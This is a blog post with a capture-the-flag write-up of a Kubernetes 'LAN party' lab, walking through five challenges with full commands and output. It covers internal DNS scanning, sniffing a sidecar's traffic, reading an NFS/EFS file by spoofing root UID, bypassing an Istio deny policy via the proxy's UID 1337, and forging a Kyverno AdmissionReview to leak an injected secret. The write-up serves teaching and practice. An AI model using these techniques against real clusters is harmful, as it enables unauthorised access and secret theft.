Thursday, March 21, 2024

K8sLanParty writeup

1. Recon

DNSing with the stars
You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further. As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have "loaded your machine with dnscan to ease this process for further challenges.

According to the challenge description, we should conduct DNS scanning to locate a svc (service). Sending an HTTP request to this svc may reveal the flag. Initially, we need to determine the IP range, which can be achieved by reading the environment variables. The tool required for DNS scanning is located within a container. After executing the dnscan binary against the IP range 10.100.*.*, we discovered a svc. Subsequently, sending an HTTP request to this svc provided us with the flag.

- Find IP range:

player@wiz-k8s-lan-party:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
USER_ID=fc3c21f6-5d0d-4474-8e22-4d77727141e8
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
HISTFILE=/home/player/.bash_history
TMPDIR=/tmp
TERM=xterm-256color
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
HISTFILESIZE=2048
_=/usr/bin/env

- Scan IP range:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
34996 / 65536 [----------------------------------------------------------------->_________________________________________________________] 
53.40% 978 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
65476 / 65536 [-------------------------------------------------------------------------------------------------------------------------->] 
99.91% 977 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
65536 / 65536 [--------------------------------------------------------------------------------------------------------------------------] 100.00% 980 p/s

- Send HTTP request to service:

player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}

 

2. Finding Neighbours

Hello?
Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.

All the challenges in this CTF revolve around network misconfigurations, so this one should somehow relate to the topic. Initially, I ran a DNS scan and discovered a svc, but sending HTTP requests to the service didn't lead me to the flag. The challenge description mentioned a sidecar, indicating a shared network namespace. Additionally, the hint provided by the challenge logo pointed towards sniffing. Upon examining the open network connections, this idea was supported. Utilizing tcpdump to capture network traffic ultimately led us to uncover the flag.

- Scan IP range:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.*
43753 / 65536 [---------------------------------------------------------------------------------->________________________________________] 66.76% 967 p/s
10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local.
65405 / 65536 [-------------------------------------------------------------------------------------------------------------------------->] 99.80% 967 p/s10.100.171.123 -> 
reporting-service.k8s-lan-party.svc.cluster.local.

- Get open connection:

player@wiz-k8s-lan-party:~$ netstat -tnluap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 192.168.4.203:44070     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:40752     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:41876     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:46492     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:46494     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:41872     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:34570     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:34580     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:40740     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:59264     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:59276     10.100.171.123:80       TIME_WAIT   -                   
tcp        0      0 192.168.4.203:44066     10.100.171.123:80       TIME_WAIT   -  

- Capture traffic:

player@wiz-k8s-lan-party:~$ tcpdump -A -i any dst host 10.100.171.123 | grep "wiz_k8s"

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}

 

3. Data Leakage

Exposed File Share
The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.

This challenge was easy to solve, yet I encountered some difficulty to find a start point :D. It took me a while to comprehend what was clearly ponited out, NETWORK STORAGE! Upon inspecting the mount information it is apparent that the flag resides within flag.txt in the /efs directory, However we lack permission to access the content due to UID mapping. As observed in the mount information this is an EFS share. By manipulating the UID and GID, we can access the file content. However, the capabilities within this container are limited, preventing us from remounting or remapping the user ID through the creation of another namespace. Alternatively, we can communicate directly with the NFS server and modify our UID and GID using the nfs-cat and nfs-ls binaries.

- Check mount:

player@wiz-k8s-lan-party:~$ mount | grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4
(ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,
proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.4.189,
local_lock=none,addr=192.168.124.98)

player@wiz-k8s-lan-party:~$ ls -lah /efs
total 8.0K
drwxr-xr-x 2 root   root   6.0K Mar 11 11:43 .
drwxr-xr-x 1 player player   51 Mar 19 09:03 ..
---------- 1 daemon daemon   73 Mar 11 13:52 flag.txt

player@wiz-k8s-lan-party:/efs$ cat flag.txt
cat: flag.txt: Permission denied

- Change uid and gid:

player@wiz-k8s-lan-party:~$ nfs-ls "nfs://192.168.124.98/?uid=0&gid=0&version=4"
----------  1 	1 	1       	73 flag.txt

player@wiz-k8s-lan-party:~$ nfs-cat "nfs://192.168.124.98//flag.txt?uid=0&gid=0&version=4"
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}

 

4. Bypassing Boundaries

The Beauty and The Ist
Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don't abuse this power; use it responsibly and with caution.

AuthorizationPolicy:

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]

This challenge presents us with an Istio AuthorizationPolicy. The policy restricts GET and POST requests to pods labeled with "app: {flag-pod-name}" from the "k8s-lan-party" namespace. Thus, our objective is to access a svc to obtain the flag. Initially, we must locate the svc address, typically done through DNS scanning. However, direct connection to the svc is hindered by the AuthorizationPolicy. To overcome this constraint, we leverage the operation of the istio-proxy sidecar container within the Pod, which operates under UID 1337. By transitioning to UID 1337, where the proxy does not impose any restrictions, we gain the ability to obtain the flag.

- Finding Service:

$ dnscan -subnet 10.100.*.*
57295 / 65536 [----------------------------------------------------------------------------------------------------------->_______________] 87.43% 954 
p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.

- Connecting to the Service:

root@wiz-k8s-lan-party:~# curl -i istio-protected-pod-service.k8s-lan-party.svc
HTTP/1.1 403 Forbidden
content-length: 19
content-type: text/plain
date: Sat, 23 Mar 2024 00:55:14 GMT
server: envoy
x-envoy-upstream-service-time: 1

RBAC: access denied

- Substitute to the user istio:

root@wiz-k8s-lan-party:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
istio:x:1337:1337::/home/istio:/bin/sh
player:x:1001:1001::/home/player:/bin/sh

root@wiz-k8s-lan-party:~# su - istio su: warning: cannot change directory to /home/istio: No such file or directory

- Sending Http request:

$ curl -i istio-protected-pod-service.k8s-lan-party.svc.cluster.local
HTTP/1.1 200 OK
server: istio-envoy
date: Fri, 15 Mar 2024 20:47:34 GMT
content-type: text/plain
x-envoy-upstream-service-time: 0
x-envoy-decorator-operation: istio-protected-pod-service.k8s-lan-party.svc.cluster.local:80/*
transfer-encoding: chunked

wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}

 

5. Lateral Movement

Who will guard the guardians?
Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.

Policy:

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

In this challenge, we're tasked with utilizing a mutation policy in Kyverno to retrieve the flag. A specific policy has been provided, guiding us to create an appropriate AdmissionReview manifest with the given details. Our next step involves sending this manifest to the Kyverno service. Upon processing, Kyverno will perform mutations on the manifest, embedding the flag within the environment variables.

- Finding Kyverno Services:

$ dnscan -subnet 10.100.*. *
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

- Finding Endpoint:

player@wiz-k8s-lan-party:~$ curl -s kyverno-svc-metrics.kyverno.svc:8000/metrics | grep "apply-flag-to-env" | less

kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.005"} 1
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.01"} 5
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.025"} 5
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.05"} 5

- Create an AdmisionReview manifest:

{
    "kind": "AdmissionReview",
    "apiVersion": "admission.k8s.io/v1",
    "request": {
        "uid": "ab76586c-3d3f-4853-b60c-a750feb83072",
        "kind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "resource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "requestKind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "requestResource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "name": "inject-me",
        "namespace": "sensitive-ns",
        "operation": "CREATE",
        "userInfo": {
            "username": "test",
            "uid": "a9cab43b-01e7-4e3d-86c7-bed3eca9c9de"
        },
        "object": {
            "kind": "Pod",
            "apiVersion": "v1",
            "metadata": {
                "name": "inject-me",
                "namespace": "sensitive-ns",
                "creationTimestamp": null
            },
            "spec": {
                "containers": [
                    {
                        "name": "inject-me",
                        "image": "alpine:latest",
                        "resources": {}
                    }
                ]
            },
            "status": {}
        },
        "oldObject": null,
        "dryRun": true,
        "options": {
            "kind": "CreateOptions",
            "apiVersion": "meta.k8s.io/v1"
        }
    }
}

- Sending a mutation request to Kyverno svc:


player@wiz-k8s-lan-party:~$ curl -sk -XPOST -H "Content-Type: application/json" https://kyverno-svc.kyverno.svc/mutate?apply-flag-to-env -d @raw | jq -r ".response.patch" | base64 -d | jq -C "."
[
  {
    "op": "add",
    "path": "/spec/containers/0/env",
    "value": [
      {
        "name": "FLAG",
        "value": "wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"
      }
    ]
  },
  {
    "path": "/metadata/annotations",
    "op": "add",
    "value": {
      "policies.kyverno.io/last-applied-patches": "inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"
    }
  }
]

No comments:

Post a Comment